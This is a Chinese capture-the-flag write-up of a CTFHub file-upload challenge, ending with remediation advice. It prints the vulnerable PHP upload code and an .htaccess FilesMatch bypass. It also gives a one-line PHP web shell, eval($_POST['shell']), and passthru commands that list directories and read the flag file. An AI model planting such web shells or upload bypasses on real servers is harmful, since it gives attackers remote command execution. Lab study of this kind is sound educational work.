CTFHub | .htaccess

article/2025/8/18 23:08:35

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

.htaccess:

        htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

网页显示内容

        

        

0x02 解题过程

0x1 方法一: 使用蚁剑连接 

分析网页源代码,代码中使用了两个常量 UPLOAD_PATH 。和 UPLOAD_URL_PATH ,但是没有给出这两个常量的值。一般地,程序员通常会使用这些常量来控制上传文件的目录路径或者 URL 路径。在代码的白名单中没有对 .htaccess 文件做限制。但是在检查源代码中发现没有对此文件添加到白名单中。

<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>CTFHub 文件上传 - htaccess</title>
</head>
<body><h1>CTFHub 文件上传 - htaccess</h1><form action="" method="post" enctype="multipart/form-data"><label for="file">Filename:</label><input type="file" name="file" id="file" /><br /><input type="submit" name="submit" value="Submit" /></form>
</body>
</html>
<!--
if (!empty($_POST['submit'])) {$name = basename($_FILES['file']['name']);$ext = pathinfo($name)['extension'];$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");if (!in_array($ext, $blacklist)) {if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {echo "<script>alert('上传成功')</script>";echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;} else {echo "<script>alert('上传失败')</script>";}} else {echo "<script>alert('文件类型不匹配')</script>";}
}
-->

        

使用 FilesMatch 命令生成一个.htaccess 文件进行上传,绕过白名单中的漏洞。

<!-- payload表示之后需要通过FilesMatch命令进行匹配的文件名称,也就是之后需要上传的一句话木马 -->
<FilesMatch "payload">SetHandler application/x-httpd-php
</FilesMatch>

        

上传一句话木马,文件名为 payload ,这里不需要后缀名,因为要和 FilesMatch 命令指定的文件名称相匹配。

<?php eval($_POST['shell']); ?>

        

使用蚁剑添加并连接

        

检查网页文件发现此题flag

         

        

0x2 方法二: 执行外部命令 

方法一中已经分析过源代码,那么执行外部命令还是需要先使用 FilesMatch 命令生成一个.htaccess 文件进行上传。

         

使用 passthru 执行外部指令,查看文件夹 var 中是否存在关于此题的 flag

<?php 
passthru("ls /var/");
?>

        

URL 中访问 payload 文件夹的路径

        

一般网页文件夹都存放在 www 文件夹中,这里检查 www 文件,需要再次上传 payload 文件夹才可以查看。

<?php 
passthru("ls /var/www/");
?>

        

查看 html 文件夹中是否有此题 flag ,这里看到有一个关于flag的php文件

<?php 
passthru("ls /var/www/html/");
?>

        

检查此文件,注意网页中是不显示注释代码的,需要检查源代码查看。

<?php 
passthru("cat /var/www/html/flag_828011517.php");
?>

        

        

0x03 修复建议

[1].给上传文件设置上传路径,对代码中的 UPLOAD_PATH 和 UPLOAD_URL_PATH 进行定义。

[2].限制允许上传的文件类型和大小。可以通过后缀名、MIME类型、文件头等多种方式对文件类型进行限制,同时可以设置上传文件大小的最大值。

[3].确保上传文件的存储路径安全,不要将上传的文件存储到Web根目录下或者其他可被访问的目录中

[4].对上传文件的访问权限进行控制,只允许有必要权限的用户或者应用程序访问上传的文件。

        

        

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。


http://chatgpt.dhexx.cn/article/OMNMQpsI.shtml

相关文章

C++手敲基于梯度图和像素数量数组的OTSU阈值分割

一、OTSU算法原理 ➢OTSU法&#xff08;最大类间方差法&#xff0c;有时也称之为大津算法&#xff09; ➢ 使用聚类的思想&#xff0c;把图像的灰度数按灰度级分成2个部分&#xff0c; 使得两个部分之间的灰度值差异最大&#xff0c;每个部分之间的灰 度差异最小 ➢ 通过方差…

Otsu图像分割

opencv自带Otsu算法&#xff0c;只需要在分割时将参数选择为“cv2.THRESH_OTSU”即可 #coding:utf-8 import cv2 import numpy as np from matplotlib import pyplot as pltimage cv2.imread(E:/shale10053.bmp) grayimage cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) gray c…

OpenCV中图像的自适应处理、Otsu方法讲解与实战(附Python源码)

需要源码请点赞关注收藏后评论区留言私信~~~ 一、自适应处理 很多时候图像色彩是不均衡的&#xff0c;如果只使用一种阈值处理类型&#xff0c;就无法得到清晰有效的结果 下面使用五种常用的阈值处理类型对色彩不均衡的图像进行处理 代码如下 import cv2image cv2.imread(&…

图像分割 - 阈值处理 - 多阈值处理(OTSU)

目录 1. 多阈值处理介绍 2. 代码讲解 3. 完整代码 1. 多阈值处理介绍 之前介绍的都是全局单个阈值对图像的分割。固定阈值法&#xff0c;阈值是人工根据灰度直方图的波谷进行设置的。全局阈值法&#xff0c;根据不停的迭代两个区域间的平均灰度进行分割。OUST最大类间方差法…

otsu算法详细推导、实现及Multi Level OTSU算法实现

otsu算法详细推导、实现及Multi Level OTSU算法实现 微信公众号&#xff1a;幼儿园的学霸 目录 文章目录 otsu算法详细推导、实现及Multi Level OTSU算法实现目录简介推导及实现常规推导算法步骤及实现步骤实现 从概率的角度解释推导实现 扩展-MultiLevel OTSU延伸思考算法评价…

OTSU算法及其改进算法学习

这篇文章还是来自斯坦福课后作业hw2_3&#xff0c;主要是结合一个例子介绍otsu算法【亦称为大律算法&#xff0c;小日本】及其改进算法。 本文将先介绍老外的题目、解题思路及maltab解答&#xff0c;然后分析otsu算法步骤&#xff0c;末了给出opencv实现。 老外的题目&#xff…

Otsu Thresholding

1. Otsu Thresholding Explained Otsu对image中的所有像素都假定为阈值&#xff0c;然后根据此值将image分为前景物体和背景&#xff1b;遍历所有像素值 计算类内方差&#xff0c;最小的类内方差对应的threshold即为最优阈值&#xff1b; 以6阶灰度图像为例 A 6-level greys…

Otsu算法原理及实现

在图像处理中Otsu方法&#xff0c;是以 Nobuyuki otsu 的名字命名的&#xff08;日本人&#xff0c;大津展之&#xff09;&#xff0c;常用于基于图像分割的聚类。该算法的理论依据是&#xff1a;假定图像包含两类像素&#xff08;前景像素和背景像素&#xff09;&#xff0c;直…

10 Otsu 算法

文章目录 前言一、Otsu 是什么&#xff1f;二、算法实验1.使用第三方库2.不使用第三方库 前言 Otsu 是一种利用图像的灰度特征自动计算二值化阈值的方法&#xff0c;常被称为 Otsu 自动阈值法。 使用 Otsu 方法可以避免主观性和繁琐性的阈值选取操作&#xff0c;并能够在一定…

OTSU(最大类间方差法、大津算法)

OTSU是阈值分割中一种常用的算法&#xff0c;它可以根据图像自动生成最佳分割阈值。OTSU的核心思想是类间方差最大化。 import cv2 import numpy as np from matplotlib import pyplot as pltimage cv2.imread("2.bmp") gray cv2.cvtColor(image, cv2.COLOR_BGR2G…

Bootstrap模态框里 再弹模态框

Bootstrap模态框里 再弹模态框 后端代码点击编辑 按钮 将参数赋值隐藏 input 中 , 便于修改 获取对应id修改模态框详情模态框 后端代码 /*** 财务审核使用详情** param request* param id* return*/RequestMapping(params "getUseDatil")ResponseBodypublic JSONAr…

新增模态框

平时我们在VS中也常常会用到模态框&#xff0c;今天我们就来聊聊模态框&#xff0c;但是我要说的是新增模态框&#xff0c;而不是修改模态框喔。在书写模态框代码时&#xff0c;我们还要引用一个插件: 然后就可以进行对代码进行书写了。 我们先说说模态框插件的用法&#xff0c…

html模态框常见问题,模态框无法弹出的问题

问题起因&#xff1a; 昨晚写到了一个模态框&#xff0c;用到了bootstrap和jquery&#xff0c;依赖的js已经复制到项目中&#xff0c;并在Jsp页面上进行了引用&#xff0c;最初的引用如下&#xff1a; 问题描述&#xff1a; 模态框无法正常弹出&#xff0c;使用浏览器查看资源看…

Vue模态框的封装

一、模态框 1、模态框&#xff1a;若对话框不关闭&#xff0c;不能操作其父窗口 2、非模态框&#xff1a;对话框不关闭&#xff0c;可以操作其窗口 二、Vue组件实现模态框的功能 1、模态框是一个子组件 2、显示和隐藏由父组件决定 3、对话框的标题也是由父组件传递的 4、对话框…

Bootstrap之模态框

前言 模态框&#xff08;Modal&#xff09;是覆盖在父窗体上的子窗体。通常&#xff0c;目的是显示来自一个单独的源的内容&#xff0c;可以在不离开父窗体的情况下有一些互动。子窗体可提供信息、交互等。 用法 您可以切换模态框&#xff08;Modal&#xff09;插件的隐藏内…

php什么是模态框,bootstrap模态框有什么用

Bootstrap Modals(模态框)是使用定制的Jquery 插件创建的。 它可以用来创建模态窗口丰富用户体验&#xff0c;或者为用户添加实用功能。您可以在 Modals(模态框)中使用 Popover(弹出框)和 Tooltip(工具提示插件)。(推荐学习&#xff1a;Bootstrap视频教程) 将通过一些实例和解释…

弹出模态框

想必大家都知道弹出层的重要性&#xff0c;在很多的地方都能用到这个方法&#xff0c;所以说这种是非常的普遍的实用性&#xff0c;在大家编写过程中也是很常见的模态框以及弹出层&#xff0c;基本也是一个概念。 插件不可缺少 1.多窗口模式 层叠置顶 Esc 关闭 为什么是说多窗…

模态框动态赋值

模态框动态赋值&#xff0c;可以有多种方式&#xff1a;1、每次一个个填充&#xff1b;2、直接针对模态框中的ID赋值。。。 今天说下同事犯的错误&#xff0c;大家引以为鉴&#xff1a; 首先如图&#xff1a; 他在点击详情链接时&#xff0c;是能拿到相关参数的&#xff0c;进…

html 自定义模态框,自定义对话框、模态框

致敬iphoneX的小刘海....自定义模态框 body{ text-align: center; } #modalBg{ position: absolute; left: 0; top: 0; background-color: rgba(0,0,0,0.2); width: 100%; height: 100%; margin: auto; display: none; } #modal{ min-width: 30%; background-color: white; bor…

html怎么自动弹出模态框,纯CSS实现带点击模态框外部自动关闭的模态框

在网页中我们经常会用到模态框,一般会用于显示表单或者是提示信息。由于模态框涉及到页面上比较多的交互效果,最简单的交互就是打开以及关闭两个操作,而关闭又会涉及是否需要在打开状态下点击模态框外部能够关闭这样的功能,因为这些交互问题,所以一般都会首先考虑到使用Ja…